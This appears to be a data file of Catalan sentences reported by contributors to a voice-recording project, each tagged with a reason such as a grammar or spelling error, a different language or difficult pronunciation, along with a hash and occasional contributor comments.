grammar-or-spelling Ja de molt jove va començar dibuixar construccions de fusta al taller del seu pare. 4d361b0b19f7c12903492946bb224eee59020a7a854fcb7675f0d6cb1ce8415a ca grammar-or-spelling Un aspecte controvertir del Derby Festival és el Derby Cruising. 4d59cb04eddb4d94f91173f71cfa77c69fbafe343f034e696b9a49eb2c6dfaa3 ca grammar-or-spelling Reedicions augmentades de mil cinc-cents vuitanta-cinc, mil cinc-cents vuitanta-vuit, mil cinc-cents noranta-u, mil sis-cents tres, mil sis-cents vuit, mil sis-cents catorze, mil sis-cents setze, mil sis-cents vint-i-cinc i mil sis-cents seixanta-dos. 4dc0f14355941f1142d5b4ff839907e2a356350192a304f1893becc80aca9b9e ca Falta temps per completar-la Es tracta de la línia de treu europeu sense cremallera més alta. 4edcf8d45ef018c569a2b5f0d0f9f5ff404352a9a3ef78f240190313adcc87cf ca grammar-or-spelling El vint-i-nou de febrer en Peris i na Sol iran a Sant Feliu de Llobregat. 4f913a5984ff54c6b2f0bccc9a3d558a869e072ed8ec93a373c6ff88b7f0e366 ca grammar-or-spelling John Mills va morir en Marshall, Texas, i està enterrat al cementiri Marshall. 4f74d657984a93642caa18e381aca25e1abbd89435246b4876a583da91bc7ff5 ca grammar-or-spelling Barrejant vermell clar i cian clar amb la intensitat correcte s'obtindrà blanc clar. 506a8e2aee175b3d75acaccd0cacba92b881b45bcbaa803cf6c4125640f8e3df ca grammar-or-spelling Un grup de jugadors repartits a un camp d'atletisme exterior. 503237038f54f50661816e1573612f144d9762c160faf1fb84d13730dd70603a ca grammar-or-spelling Per Cap d'Any na Dàlia i na Neus iran a Ivars d'Urgell. 509c3b180c86fac937f1788b5b0dba9e2592141b12112df1a4aae75d725ca887 ca grammar-or-spelling Més tar en la serva carrera va començar a ensenyar actuació. 50615a376cf318674598d0fa5ded0218d720344f2f622ad64af1d243e37b9797 ca grammar-or-spelling Van col·locar-hi uns nos miralls exteriors més elegants i amb un petit emblema de Ferrari. 50b05972c2fa256b8954264516bf2ecafd523b84cda4c045338d02f40aa04daf ca grammar-or-spelling Quin es el seu codi de reserva? 51450da0848f33162921c78ca35693e4a9aee50ea6fc80f30175bbec4dffcc12 ca grammar-or-spelling El vint-i-tres de maig na Cira i na Marta iran a Organyà. 5150c1f0772af3e1128ea8ee2cc363488cceae3c9e4bb22a0820d9b08bd67b5a ca grammar-or-spelling Inicialment va ser professor de matemàtiques a la Universitat de Lausana. 51148fdd2b79a5d27d301b166eec30b29542d2807279a12682a36292d30504fb ca Darrerament, quan escolto els enregistraments que he fet, abans d'enviar-los, es reprodueixen "accelerats". Davant el dubte de si els rebeu bé, els anul·lo!... Heu tingut queixes sobre això? Ja porto1034 enregistraments!... Josep. Que té la mateix fórmula empírica que un altre compost però propietats diverses. 5205bcf7da53de9331ffa671dfab2a7d4e7d98d38ba0afaf0b768b55dd912a2b ca grammar-or-spelling Mas de dos-cents mil morts fou el resultat d'aquest període. 525ed4cf42451bb8423ad91381309ad0d80f46c8adc990acb03df89bc01767d0 ca grammar-or-spelling Nakayama és membre del Partir Demòcrata de Hawaii. 52c3e84060be38712caca20d0ccda755fee19683946bf38582bd97bf8836775c ca grammar-or-spelling Primeu feu bullir les patates, després les aixafeu. 5312125cd8dae76024b02941f9d015e94b1f4e4cc43b3ffecb8f5194186d3822 ca grammar-or-spelling He d'anar al Pont de Vilomara i Rocafort amb trasport públic dilluns a les dotze. 5328c6fc7adc18098d6d13fcc013d48aa30a8a3368cc2220250e68a03c92455b ca grammar-or-spelling He d'anar a la baixada de la Glòria amb trasport públic. 534bd37db1f66f2c3173df3a5235d9940ff22295f63f717888683bfafac7dbda ca grammar-or-spelling El tinent coronel Dawson va resultar ferit durant els combat, cosa que va fer que el major Menday prengués el comandament de manera temporal. 538f99e8bbba0bf8c37bf64ff4f3f70fd6cf9ea8f3be04efa2a907a1fa0d869f ca grammar-or-spelling Els esdeveniments disputades han variat àmpliament. 53a96d8672d1d71d8a9fcb6da5397782ddc8587bc816cdb219ab2c9f9820a803 ca grammar-or-spelling A la part superior es troba el cap retenir les flors, o la condensació, que puja. 53966f134c53fdb519327e6f3b5bed4860429237c147a96e95c6664652fcca14 ca grammar-or-spelling Els símptomes inclouen xancres als troncs, defoliació i en molts caos la mort de l'arbre. 53a244251fb5c5b56013fee8db6f7058b6deba945ad63c0eead3b425f5b5e92b ca grammar-or-spelling Ell també ha escrit baix el pseudònim d'R. Rupen. 544f4be225a2c8db8f0d7f231e8a11db974b8c4ee8c22e62b17a3de9360ffcab ca grammar-or-spelling El fill més jove d'Azam es Sahebzada Mir Karamat Ali Khan Siddiqi Muffakham Jah. 54597f32ed5a8c631240c807d6a4c09863949893f885d2e4b5709cf2051ca82f ca difficult-pronounce James G. Polk, un polític del partir democràtic, està enterrat aquí. 54588d1f57f27ba46daf8be6663b82afb6f79ca27dd8b9b1fbea3c21a6306ae4 ca grammar-or-spelling Demà passat en Maria vol anar a visitar mon oncle. 5469d97404c3ccabc5b43abc4565afcd406dd58a085e4c7c412684ed7d69e965 ca grammar-or-spelling Si us plau, no li diguis a les companyies petrolieres sobre això. 5471c3d71d4b894b83378bdcd0a1ecd5e271074e246e0be65b7d2ec7af4ccc68 ca grammar-or-spelling Casat i en dos filles. 5480472cec6aa4694f18eeb2e65574d1bd4a9f664f19bd6baacd4cfa0fd1c72d ca grammar-or-spelling És massa calant! Fes servir un guant de forn! 54ab67f9bc3c0239f18d34fecb2d25e5edc26927ff432d9ae211e6cb7c6250f9 ca grammar-or-spelling Demà passat en Julià irà a la Vajol. 54ee18757d39adcafdaeda959e4c7a5155628b0e8a9ac9b5ddb6f10c74ae5d09 ca grammar-or-spelling Els oficials principals són anomenats pel senat. 54ee91e3c8065b3c46081349bf4630cbbc928a713988898088b7bcb149b75baf ca grammar-or-spelling El meu número es el sis, cinquanta-sis, noranta-sis, vint-i-quatre, trenta. 551194ac350d015991593a6830f3141b29dc18a0745139600291be68c1389530 ca grammar-or-spelling Dos terços del recorregut es van fer dins dels seus carres i camins. 550cace8584c14fe1b6ebab4a35f4f6c0445b5236e10d955fc255bf08d85cec2 ca grammar-or-spelling Per Sant Jordi na Tura i en Gaël aniré a la biblioteca. 551a3b6777bf4d1008e7c6b525ad16581d4f8a6f3cd04bad8138835f844bf0cd ca grammar-or-spelling M'agradaria anar a Cervià de les Garrigues amb trasport públic. 54ed06e2440124a5c767afdae0461bb2df6bfab67d06f09697572ee4c88e895e ca grammar-or-spelling Malgrat tot, es va suspendre la producció de totes càpsules i es van deixar només els preparats genèrics disponibles. 5538cd9f89db1bd83d1b4155147016b222dda21e1864445bb5f97d1e041b8b18 ca grammar-or-spelling Durant l'etapa escolar també va desenvolupar un trastorn alimentari. 559d9d34ea6dffe0cecdd7015b2dc9a9a4a7c1ae2e7b65092be42cde2c997b36 ca grammar-or-spelling L'olor és la propietat organolèptica perceptible por l'òrgan olfactiu quan inspira substàncies volàtils. 55b5a8b6ed067b8d37f86725ce00b9ad920b8c11e652536bf262f34167a15aee ca grammar-or-spelling Això pot ser útil en el diagnòstic dels trastorns del son. 563c1a4a0e838c5b273f7baa8558cf0e3a4b38597412f8218589e72540bd7a80 ca grammar-or-spelling El deu d'agost en Quirze i na Martina iran a Banyeres de Mariola. 54cdc4ca208b432e442220aabd48f849770cea8ddeba99f57401bf339f1a6043 ca grammar-or-spelling Demà na Blau i na Blanca iran a Sant Andreu Salou. 54d4ff319693033b5efc93a76bbec679f33ab926a4d0a2f6f2bf6ae570225b8b ca grammar-or-spelling No se sap si la ferida ser una autolesió o un acte de traïció. 5669f2726cf4108a5a8891effa6feb74c5d5ff30c9d4dfafb2d2cb071df76e56 ca grammar-or-spelling Habitatge unifamiliar de planta aixa, pis i golfa. 56721ff52d324c9e3d79b09694e51bf508476d0335ca2f26eb28acf5592089f2 ca grammar-or-spelling És autor d'obres música coral i de cambra. 56674b1e32cf343a2e03b2380c7b2f22bd3ad58b50bd17564a2b1d2b44e405b8 ca grammar-or-spelling Carol es va amagar dins del contenidor de carga. 572b467cce450e57047324eb1800d522c1dd70df51e7922bbdfc4e196bec567d ca grammar-or-spelling La seva activitat fa ser múltiple i sobre els temes més variats. 5667a5dc79daa210449e4fcb4ea753b582df854b68585d3b6663e02906c050a5 ca grammar-or-spelling L'entrada és un arc escarser que ocupa pràcticament ocupa tota l'amplada de la façana. 56e841fa6b04da06f8696d8234a8b3c93c31039fe1abe2842552be2c74839ba9 ca grammar-or-spelling No hi ha cap notícia històrica ni constructiva que ens permeti data la seva construcció. 5714bdc18cacb806bf5eaf15f28ecb12e397b8b49c5a8aa8e56fc93307f1d4bd ca grammar-or-spelling N’hi ha d’haver, però qui li ha de dirigir és són associacions obreres de resistència. 5754bbdf7b2ebafd3b41e14492a4304349997d73347e3710056d51979c65b638 ca grammar-or-spelling No hi ha cap notícia històrica ni constructiva que ens permeti data la seva construcció. 5714bdc18cacb806bf5eaf15f28ecb12e397b8b49c5a8aa8e56fc93307f1d4bd ca grammar-or-spelling Amb traïdor va posar a Amasa a la mort, Joab va assumir el comandament de l'exèrcit. 575834875fef43d3307f27490c4a8bd8f1a760551019b719f45dc401b8ce65f6 ca grammar-or-spelling S'oposaven a pràctiques religioses a l'Església que a qualsevol moment s'acostés al ritual catòlic. 5748bd2b6bc3c5e35919ac64bbe8ca6d4fd79deab57db93a250370454b143d69 ca grammar-or-spelling No hi ha cap notícia històrica ni constructiva que ens permeti data la seva construcció. 5714bdc18cacb806bf5eaf15f28ecb12e397b8b49c5a8aa8e56fc93307f1d4bd ca grammar-or-spelling Manray va proveir a una gran varietat de estils de vida alternatius. 575ac62a47ea12435c639b4bd23fe6530ff2b55b32bd902e90a12662d9e6cb71 ca grammar-or-spelling Ja deu seu l'hora de dinar. 576961de06629176fd4d6582181076c520753db9fcf587831e28d99c8719058c ca grammar-or-spelling Va presentar com solista en diversos concerts en Alemanya. 57ab283eee7d774d87c11851fb3f0e06c08a81d16ebdedd4beaf4617ff5d368a ca grammar-or-spelling Gent de peu fora d'un edifici a prop d'un carrer. 5799bddae7f94631259639cd7da159187764ea4797f2b3070437ed784988a810 ca grammar-or-spelling Més tard aquell matí, dos treballadors van trobar-ne el cos arrossegar per les onades a la platja. 57bb7bfaf7d5a2727fdb63b73770ffc663d09e1da67b84ab3c6362e0fbab83e4 ca grammar-or-spelling La cinta va ser gravada en diferents localitzacions de Puerto Rico i Bolívia. 57d8c248fedac96c67382805b8f8b662f264dd988ccf1d4e3f9ef81f438a197a ca També s'haurien de recollir formes dialectals mallorquines, menorquines i eivissenques. Per exemple amb article salat El vint-i-nou de febrer en Rauric irà al teatre. 589793392006f624bc30a77fa73d10c4ebde799d2786ab7aa79ba52fa8f8e936 ca grammar-or-spelling Els projecte de construcció de port va abandonar-se. 5891e9dc4c03233d0d3a87d2688e646cb720f3969db1d16c2dcd31f442a70759 ca grammar-or-spelling Dissabte na Nàdia i na Martina iran a la biblioteca. 588c7cb5beb77b82cb66c228df7f1ba5e327685f7f380c5ea7c0abadea60b204 ca grammar-or-spelling Guillem d'Apúlia sembla haver usat aquests mateixos annals com fonts la seva obra. 588b39e23b32486cf1fbb75cd8de3df793abe03326105a8cd77e239c7c250ce2 ca grammar-or-spelling Per Cap d'Any en Xavi i en Miquel iran al teatre. 589141824af0f5ca5757810ab50769ebce2fafda8464ad8b6edf4f1ca6fa21a2 ca grammar-or-spelling Una dona està examinat algun tipus de dispositiu. 58b6c73a966c7732168f74900f6363fba910e1c03d69ff814425dca67f0ae979 ca grammar-or-spelling De sobte, la lluita va ser tot sobre la brea de nou, i els jugadors li va encantar. 58c67ad638b8d4d666da86765d56713fd68fdde1947265d1c97df7c0a7448f06 ca grammar-or-spelling Cada síl·laba que surt de la rulot l'amenaça com una ganivet esmolat. 58c244cd9e93fe70b538ef25c94ead9a6fd1597b21c6d18807641d1e896f0fb1 ca grammar-or-spelling Win Hill s'anomenava originament "Wythinehull", que significa "Withy Hill" (turó de vímet) o "Willow Hill" (turó de salzes). 58d455b8f1be27a96eba96adc4c34e0c6a257e5a23fda367b590305903a5d51a ca grammar-or-spelling Una dona està examinat algun tipus de dispositiu. 58b6c73a966c7732168f74900f6363fba910e1c03d69ff814425dca67f0ae979 ca grammar-or-spelling A Sutton Coldfield hi ha dues àrees de conservació. 58ca3c3c493c123064450499311605c317f7f864201598a027d81b36b462a03d ca grammar-or-spelling Les provisions acostumen de dur-se a part, al sarró. 58cb288a3ea6aa66e7940815359f44871800cc2676cc35235e3ff6a19132386f ca grammar-or-spelling Va viure i treballar a Berlín fins a la seva mort en accident d'avió. 58a196ac66f4e67f8e3867efab9617bf6f1a0e6e53344584880b7458cdc9711d ca grammar-or-spelling M'agradaria anar al carrer d'Irlanda amb trasport públic. 58e3ec50a8b49b39a026b4942f41ea9c6109e6cae0ebf0ccfb3869f238cc7ef2 ca grammar-or-spelling Aquesta no és un recurs natural sinó que és tecnològic. 58eb9a3b97722158d3cb4a1bbe6ed9ccbaac0ab9c9093d4afecf1c098610d314 ca grammar-or-spelling divendres he d'anar a Jorba amb autobús. 58e7269e87c5ce87342483f621056c19648405e61b445a3bdcf42c969b1b47ad ca grammar-or-spelling divendres he d'anar a Jorba amb autobús. 58e7269e87c5ce87342483f621056c19648405e61b445a3bdcf42c969b1b47ad ca En Divendres na Nora irà a la biblioteca. 58e20e85ea7a7b54034ac808d7c439eccf8021b72b3e340bb668088c123183a4 ca grammar-or-spelling Am la mateixa franquesa i am les mateixes poques paraules 58ab2e5099b55504ccd67b20e14e24cd2f50f6c289fd98e33fface1a82b9945b ca grammar-or-spelling Es va educar al Wolverhampton Grammar School i al Wadham College d'Oxford. 58a66c3bf142e4d2d77196af2492a649fd2d828e5c6445374a049d29a397971f ca different-language Demà passat en Martí i na Mariona aniran a Montseny. 58dc5071c4324790dfc6396656127ed33bfdfeddb2d15569ceb16870fdce358c ca grammar-or-spelling Demà passat en Martí i na Mariona aniran a Montseny. 58dc5071c4324790dfc6396656127ed33bfdfeddb2d15569ceb16870fdce358c ca Al L'embassament de Panshitou no està lluny d'Hebi. 58dd9ed9786ea71ad7c884eb77795517bfeec7580f9692cecd66c7b3631c81de ca grammar-or-spelling L'embassament de Panshitou no està lluny d'Hebi. 58dd9ed9786ea71ad7c884eb77795517bfeec7580f9692cecd66c7b3631c81de ca different-language L'embassament de Panshitou no està lluny d'Hebi. 58dd9ed9786ea71ad7c884eb77795517bfeec7580f9692cecd66c7b3631c81de ca No esta lluny, és un calc del castella Quin dia tenen disponible alguna cita? 58f51c5f01de3ae817d31b0c51e2ed6ab5ae0bba1c2fca417eb1dffe03d7865f ca grammar-or-spelling El deu d'agost en Damià irà al metge. 5896760aba4fed8e98aa5213f5c60429059fb53594605c3d7ddbe5da7f6e4190 ca grammar-or-spelling També porta un inusual tatuatge polinesi que se li veu en les cames. 58e33dbe5506d43bf8d3b8ca8ac08d4b5a36062ab37176e70fd9d686bb9fbb0c ca grammar-or-spelling Vull anar al carrer de les Medes amb autobús. 58e0a2c63c92ca8322717a1cc232f8ad79f35697f85d289147d2cbe2a998c7bc ca grammar-or-spelling El voltant de l'ermita hi ha parades on venen únicament aquesta peça de rebosteria. 5884f6a420de76428000ed2a1852a090fadf1f69ab04dc9f20549aea4917bcd2 ca grammar-or-spelling Per Sant Jordi en Nil i en Quer iran a la platja. 58b9d8a0fb5869c1c0bd18fde974feeff8b01b070da9442a1c920d8c4d852fd4 ca grammar-or-spelling Dimarts en Grau i na Bruna iran a Vilallonga del Camp. 58d82503301522b8555781e2faebd2242d4a277f794c4e6e1ec4d0859a6a3926 ca grammar-or-spelling El procés va ser gradual, ple de contradiccions i replet de tensió dins dels partits. 59032f5198ed084263bf029b73393b471b5455972c99030dbee5e47029f7556b ca grammar-or-spelling Poc després, una per una, les xiques comença a morir. 5903fb3bf322d5dfebb13d7f3e933ea9b9e0087d9c99bcb8b6aedd456a77faae ca grammar-or-spelling Al parit del seu debut amb l'equip txec va marcar un gol. 596303e73801ccf0aa310ae46c042363fbad5a51e112c1544167fd20f99a6fb6 ca grammar-or-spelling Al parit del seu debut amb l'equip txec va marcar un gol. 596303e73801ccf0aa310ae46c042363fbad5a51e112c1544167fd20f99a6fb6 ca grammar-or-spelling Es van veure obligats a integrar-la, argumenten que s'obté mitjançat els ritus. 59fea4e1ef4756e770db1b7341ca82be4ab3196b211e54f51159f3b1987af25e ca grammar-or-spelling Maria Corte Maidagan és un il·lustradora nascut a Barcelona. 5a59be3aaee6fc48bc1a7eebb3a66b487900c4840020d7290138ff5bf0473330 ca grammar-or-spelling El Marcel pensa en rajoles sanitaris aixetes material elèctric. 5a93974e310b249a72cb17175d8a80c1ca06b96285569d2af6f45617cc771669 ca grammar-or-spelling Lluc Visconti derrotà el senescal angeví Hug dels Baus, el qual que desitjava apoderar-se d'Alessandria. 5a61fbd7fa81f2414a9f9493c1dccd0318eb152cc0c6210384d312e28adc2ff9 ca grammar-or-spelling Més tard, Angelo va deixar va deixar de participar amb l'emissora. 5a7ff202f19593ce55907889ae2962142bf7513f8ada1e0dfbc3adf97a2379a7 ca grammar-or-spelling Fou autor de populars caçons de cambra. 5a722aadbf3a7c938862b8314a5b041b8a186a3db61d2e3f09ca58de6bfa9654 ca grammar-or-spelling Pel que fa a l'arribada de Stekelenburg, va dir "Fa temps que ho escolto". 5a99889592265669dcd2359ea990d8e92a6edaaa0733ff8accf460574b485de4 ca Fa temps que ho sento Dijous na Thaís i en Bernat iran a Marganell. 5a60609200d451099a46510adea87a22a800f8c2eec22bf3957c1cf2c32c2113 ca grammar-or-spelling El nou d'octubre n'Eulàlia i na Nàdia iran a Callosa d'en Sarrià. 5a5e21d60d4078706a0e85db6030e0da66091d545ee3a5ea2154a495e078652f ca grammar-or-spelling Per Cap d'Any n'Oriol i na Dèlia iran a Consell. 5a54eb00bd56d4b10099c4f392505bb0defea890d4cd94312f8942430546c49b ca grammar-or-spelling És també a especialista en altres temes de cultura popular. 5a7a905f75fa7cded2f08a7f166d8f110310ff3feaef63612a7a37092c428e8e ca grammar-or-spelling El vint-i-tres de maig en Pol irà al teatre. 5a8adeea29d2300d918d5a7f1392206ad00a27a701e1d44da49f5115aa632bd2 ca different-language Més tard, Angelo va deixar va deixar de participar amb l'emissora. 5a7ff202f19593ce55907889ae2962142bf7513f8ada1e0dfbc3adf97a2379a7 ca grammar-or-spelling Demà na Cira i na Lea iran a Assuévar. 5a98ff60cbb78139d79e32df63d6b89d3d71499ce7615dcf593e032c9fa7499c ca grammar-or-spelling Un grup de persones estan asseguts en un sofà abraçant entre si. 5a9a44bd373740aebf41351f992a3af44cc64d6d15217a0fd7b2e8e092a05408 ca grammar-or-spelling El nou d'octubre en Joan i en Llop iran a Miralcamp. 5a825f61407de580c28f06916f60443a82c0604efa0dc0e54a39f3239294b9f3 ca grammar-or-spelling El color és marró, amb ratlles blanques en diferents les direccions. 5a7fbec82f5defe9b87037000197c185410861a68774bd764cb6d646638ba59c ca grammar-or-spelling El vint-i-tres de maig na Blau i na Sibil·la iran a Roda de Berà. 5aa79b95df62b172fd22a143cf7db9df8160d37db758bfcfa624be50d2776d2d ca grammar-or-spelling Algunes de les velles cases de Jamindar a Shibpur són com les de Roy Choudhury. 5aa5d5c3a5c8c5c006bdd90b685c889d09ae55fec19f521104777beed6f41826 ca different-language El vint-i-nou de febrer na Vera i en Gerai aniré a visitar mon oncle. 5a9d9ef25bd7e600944dbaf9c0af89c8e64c7477fb5fa1c297c29046900b0f34 ca grammar-or-spelling El deu d'agost na Berta i en Quer iran a Porreres. 5a7ec62fcbd78c2ae8042f9108d32d261e643017b44910c972c0f464cd6df1d9 ca grammar-or-spelling El vint-i-nou de febrer na Mar i en Nil iran al cinema. 5a8228ee67614789be3cc0cd876d499e4d87c01faa51af0f1be664fcd2a503cd ca grammar-or-spelling Com puc arribar a Setcases amb moto? 5a96d0e499d7bae47549147d1db19df7c42188739b421eecc75b010c3aab849f ca grammar-or-spelling El vint-i-nou de febrer na Vera i en Gerai aniré a visitar mon oncle. 5a9d9ef25bd7e600944dbaf9c0af89c8e64c7477fb5fa1c297c29046900b0f34 ca grammar-or-spelling Els minerals d'aquest grup són vanadats hidratats d'uranil i un metal, generalment alcalí o alcalinoterri. 5a9c10852bbbc40fd9105bbde79dc7e02470e672407a1726f542d9daf3189a2f ca grammar-or-spelling Aquest vi és tèrbol: l'heu de deixar reposar. 5ab35053b78d720613d2bf3f4410ae41057b37bc962854bb199571f23845ba26 ca Em diu que he d'autoritzar accés al micro, però no em diu com. Quin era l'horari de la pel·lícula al IMassachusettsX Corporation fa tres minuts 5ac176c154cbaf6a7606e1d75ff9f53ad608f9320305ff98d60ae244ef8f1d69 ca grammar-or-spelling Hi ha un edifici annex, l'Escoda d’Arts i Oficis. 5aba23cabf398992b3e4cbe01e22c19bb9865970ec56fc6179530b4bf298580e ca grammar-or-spelling De l'esquelet, no no? 5ae432548a94b4961c789462aaf9e3e58b222373bd4dd10a88be4185d7c175ef ca grammar-or-spelling La pilota reboté contra la paret, a la paret. 5ad81c20ebe699a3c3bf55b1f09f7e180a8b53643f8ee457542be0624c79b7a3 ca grammar-or-spelling Pertanyia a una família rica i, encara jove, ja era tenia fama d'erudit. 5ae2420436d39da37efadc298af49ca4a8310cf610246991c1a632462f7e3dc3 ca grammar-or-spelling Era l'home d'ordre en tot i pera tot 5aeac7a09901e48c9763e47f6603cbab7b8da5a01222553d3691933bfc71c8f7 ca grammar-or-spelling Tenim feina per pendent i la farem, ha conclòs. 5b09480c95268d730f672279b17481c7e401f98120112661c24febb62f8072c6 ca grammar-or-spelling Gran part d'ells consistien en retrats, genere en el que el pintor destacava especialment. 5aec00457f8732c2697982d57eed7edf0755ee8fab571817e98c3b392ec267e1 ca grammar-or-spelling Gibson especula que està trilogia inacabada podria haver sigut anomenada la "Trilogia de Toronto". 5b0e6e5135ae9c62466601379925e5791ac11c3cf2e6c875bc97fcbb4242efc4 ca grammar-or-spelling També posseeix una cresta baixa creuant la part aquest de la planta. 5b10688f049921831049942445a04e17e5e8c758e319e69e63bfbab16aff456a ca grammar-or-spelling Dionís li va llançar el tirs que se li clavà a la gola. 5b56c206425c5d18956b6b5ae30d5f05f4ef0fb326bf2fecac2feebe51cd6e00 ca grammar-or-spelling Aquest mateix any se li nomenaria director de l'Institut Cervantes a Roma. 5b39de610a26582195471af3168fe9295c975c906f54b4063f1078f747d5ba16 ca grammar-or-spelling Després graduar-se en dret per la Universitat de Pàdua es retirà de les competicions. 5b640b82180bdabbf7d8a4c83a51f541821a16806ab6f7c1676290e95152b6d6 ca grammar-or-spelling La data dels seus primers governs no estan clares. 5b5a7948bebcc4eed11e07aad8c2195d6d4c6fcb0d0b6dcc79762d0453b4a0bd ca grammar-or-spelling Toca la pilota amb el cap es considera joc perillós i és falta. 5b19b22d277fea49c85fc4cd2139a12d9c32adf11c135700f025f69730b5d011 ca grammar-or-spelling Dilluns en Maria i na Farners iran a Jorba. 5b4641bc00da3410d50f0437654620764e31cd8aa68f2454770b3bb3d514e3f1 ca grammar-or-spelling Demà en Guim i en Joan iran a Bufali. 5b65dcd4a66925143c027e8e2f2d287195256329263e8e5fe06751ac3c6ac579 ca grammar-or-spelling Dilluns en Gaël irà a Xert. 5b6030e4a159a3160872caeabf807565c6e0ce2508a5914404baefe1b8b2886d ca grammar-or-spelling Per Sant Jordi en Roger i na Lara iran al metge. 5b423c60db25ad261ea0d5e900ab2b215bd4a32cff24463c662e70b168db862c ca grammar-or-spelling A pocs metres hi ha una masoveria del mas, que vull dia es troba abandonada. 5b713742bbd6ffb97c8d11bb109cd3883e467ba0d77d079236d0ce108b53e0d3 ca grammar-or-spelling Coke també va fer plans per segregar Embassy Pictures i Embassy Home Entertainment. 5b7069be78683ae0e7678bb70bd9928859731b7d8d4c64a78a629af7da7655d5 ca different-language El vint-i-tres de maig en Blai irà a Viladecans. 5b769168088168c44946d13fed697f4fee827e7d855135eda10dfdd4f727e01e ca grammar-or-spelling el cinc d'agost he d'anar a Alfara de Carles amb autobús. 5b78fd74e2faa09ed004fbd604e5109e4323b75ce9917b600aacf7196514c8ad ca grammar-or-spelling Posteriorment la seua propietat seguiria paral·lela a la de la vila de Pego. 5b5aa0d139a4f30e19a8ed74cb70da1f6d0f1c801af41c43785e63af3b3dd8f5 ca grammar-or-spelling Després graduar-se en dret per la Universitat de Pàdua es retirà de les competicions. 5b640b82180bdabbf7d8a4c83a51f541821a16806ab6f7c1676290e95152b6d6 ca grammar-or-spelling El vint-i-tres de maig en Sergi i na Júlia iran a visitar mon oncle. 5b68c0841fe46715355107a1413a139ed3657ee19e7862b27ed3e889ceead293 ca grammar-or-spelling Kurtz va néixer a Monschau, a prop d'Aquisgrà, i va estudiar a Halle i Bonn. 5b5cbc7b8d4446c1ff4a6d76908ca43dc93d9176ca85d2846523223acb593bbb ca different-language Dilluns na Jana irà a Vinaròs. 5b6efd5dcce78f28196f6e27d6e9984acf29f59abf5534c4576d0f4fe9ddeb58 ca grammar-or-spelling Dissabte na Bruna i en Julià iran a la Torre de Fontaubella. 5b601a2877281373ae302e8fd487d544f8e1f3f53cd5b92f949d9d7256f69558 ca grammar-or-spelling El vint-i-tres de maig en Gerard i na Ramona iran a Fageca. 5b78fe7a425f40d92b63654eefab04904b852db6b1aeb32367a253b5e9bda7dd ca grammar-or-spelling El nou d'octubre na Blau i na Zoè iran a Peníscola. 5b7ac44561d8ce64b1a37d206d37e316580c9181a117132dfb99103c3aeead4e ca grammar-or-spelling D'aquesta manera, Picasso transfereix un tema de la seua pintura al mitjà plàstic tridimensional. 5b6f9acdf9a3ce04afd499fe661b3aece8305610a1aef6f72bfc4d28359bd743 ca grammar-or-spelling Demà na Tanit i en Nel iran d'excursió. 5b2efd757b71d1bc14b76994302ef539d35d54b33ffee6764851c546028c108b ca grammar-or-spelling Per Cap d'Any en Sol irà a la biblioteca. 5b6f99bcebea5c67908327490fc6bf4054c3142b10fc3452247b14530297da49 ca grammar-or-spelling El nou d'octubre na Damià i na Vera iran a Cinctorres. 5b6968f8e43cc7214e804c7562cd2a8aacbe060cf429c2f651aac9dd35d26559 ca grammar-or-spelling Travessa Vignola, Finale Emilia i Bondeno. 5b7d1af03dde7034ebf5bfab8eada84f20594e99f0caf470f2f1f6991795fcc0 ca different-language Recapitule: la democratització del saber ha esdevingut un aspecte indispensable, essencial, del món contemporani. 5b87b1ba9db2793e5392bde4bbefea021c7335ea0b339c0b91b0325eddaf7818 ca grammar-or-spelling Per Sant Jordi na Lena i en Milos iran a Aielo de Rugat. 5b5c95f4713cdd3f9ec38aae9047f2e333ffea543c9276c9d1e404e48cb18f98 ca grammar-or-spelling El cos sol estar cobert amb abundants de pèls. 5b8eda9717a0e189c0fc09a408b84711507666f083e0c27dbde0bd0b704d8a05 ca grammar-or-spelling Diumenge en Marcel i en Miquel iran a Assuévar. 5b92136743e9b019797d0145321570a4a06492e3acf26474384c5d6c6b8469cd ca grammar-or-spelling Per Sant Jordi en Drac i na Blau iran d'excursió. 5b6f9f948f881e246b0e0ec4e19f88c79a21db553b6611200dc915851e6870af ca grammar-or-spelling He d'anar a Arsèguel amb trasport públic el dos de juny a les vuit. 5b9bf467b77ce5c3d28916b323c5a84098bbba0de9a65b384d867fc496de74aa ca grammar-or-spelling Durant un temps, el món de la microordinadors estava dominat per sistemes proporcionats en un kit. 5bbddf606efb21969209b6906d49c39b850d13a7f039bbd646541ef7db32d30f ca grammar-or-spelling Moakley va tornar a la seva afiliació al partit demòcrata després que d'entrar a la cambra. 5bc546e7e8e453b6836de943585cc60fba05692d476cdf1e5b2ce968938c237c ca grammar-or-spelling La major part de les estructures, inclosa la catedral, fou reedificat en un estil tardobarroc. 5c29933a4585dcf1e6b23bdd8341c86b6e848a4597c5560c4e421775aff37764 ca grammar-or-spelling La seva tomba ha estat profanada diverses vegades. 5c6e14a94ce5c9798c9a68316cb52d6c7022938eef3149005740f888eb1d2363 ca Divuit: en balear pronunciem devuit. Ho he pronunciat correctament, però sento que m'estan centralitzant l'accent. També es comercia amb productes frescos del mar com el crac de riu. 5c8746bd1f0f8294b15e2f818ae1e9d9c162607e78124d64ca815c14cc1589e6 ca grammar-or-spelling Què és aquest tot aquest desordre? 5ca4e981f3e1c8ed3e1db51ab436b4c7bb1947a78c9b422f91d3797e9b991da8 ca grammar-or-spelling M'agradaria anar a Castellet i la Gornal amb trasport públic. 5cc82bad2787bd39c7e763927788439d91a02627d263bd837467b964c7822e69 ca grammar-or-spelling Diumenge en Maria irà a Guardamar de la Safor. 5c991e9e13a6b34a9d15eb7792ad7e6569acbcc4dff5d3fc799e9af3d14fba4c ca grammar-or-spelling Com puc anar a Almoines el dos de juny a un quart de deu? 5ca9332e86875877745bd9273180cd69cf5bf5affc1ab9de469fdedb1ad9124f ca grammar-or-spelling La forma i nombre de les banyes en el cap vari segons l'espècie. 5cda42165ee66c6e0b397812cc0e10ff7c81114db53a3a8160d72a9df0eb961e ca grammar-or-spelling No és és cap revenja. 5d33dedc609ce1de7f3c37fea83aa5d194e4777a661acc75cc6b21f07feb44c5 ca grammar-or-spelling Como li havien disparat a la majoria dels pals, no podia fer senyals. 5d30bbfefedbe7bc9e608dcb65647c1a7b005a0548e6acefd4bd3e00d0868bb3 ca grammar-or-spelling Alguns ja no es fan servir ha que ara les organitzacions fan servir sistemes comercials. 5d3738372320b8d00d99a536361f967d29c2c47a3624936d8a48be7869ca8ce5 ca grammar-or-spelling L'aigua de la mar és dolent. 5d348d2c0e0e1777015e83622de85876f5755a5d8a654b95e1d051019ad77858 ca grammar-or-spelling Els dos àlbums següents no obtenir la certificació. 5d689d34430c6a735b9d110929af37fc4a9c1fdd2dfda66f9e09f0f7bc62672e ca 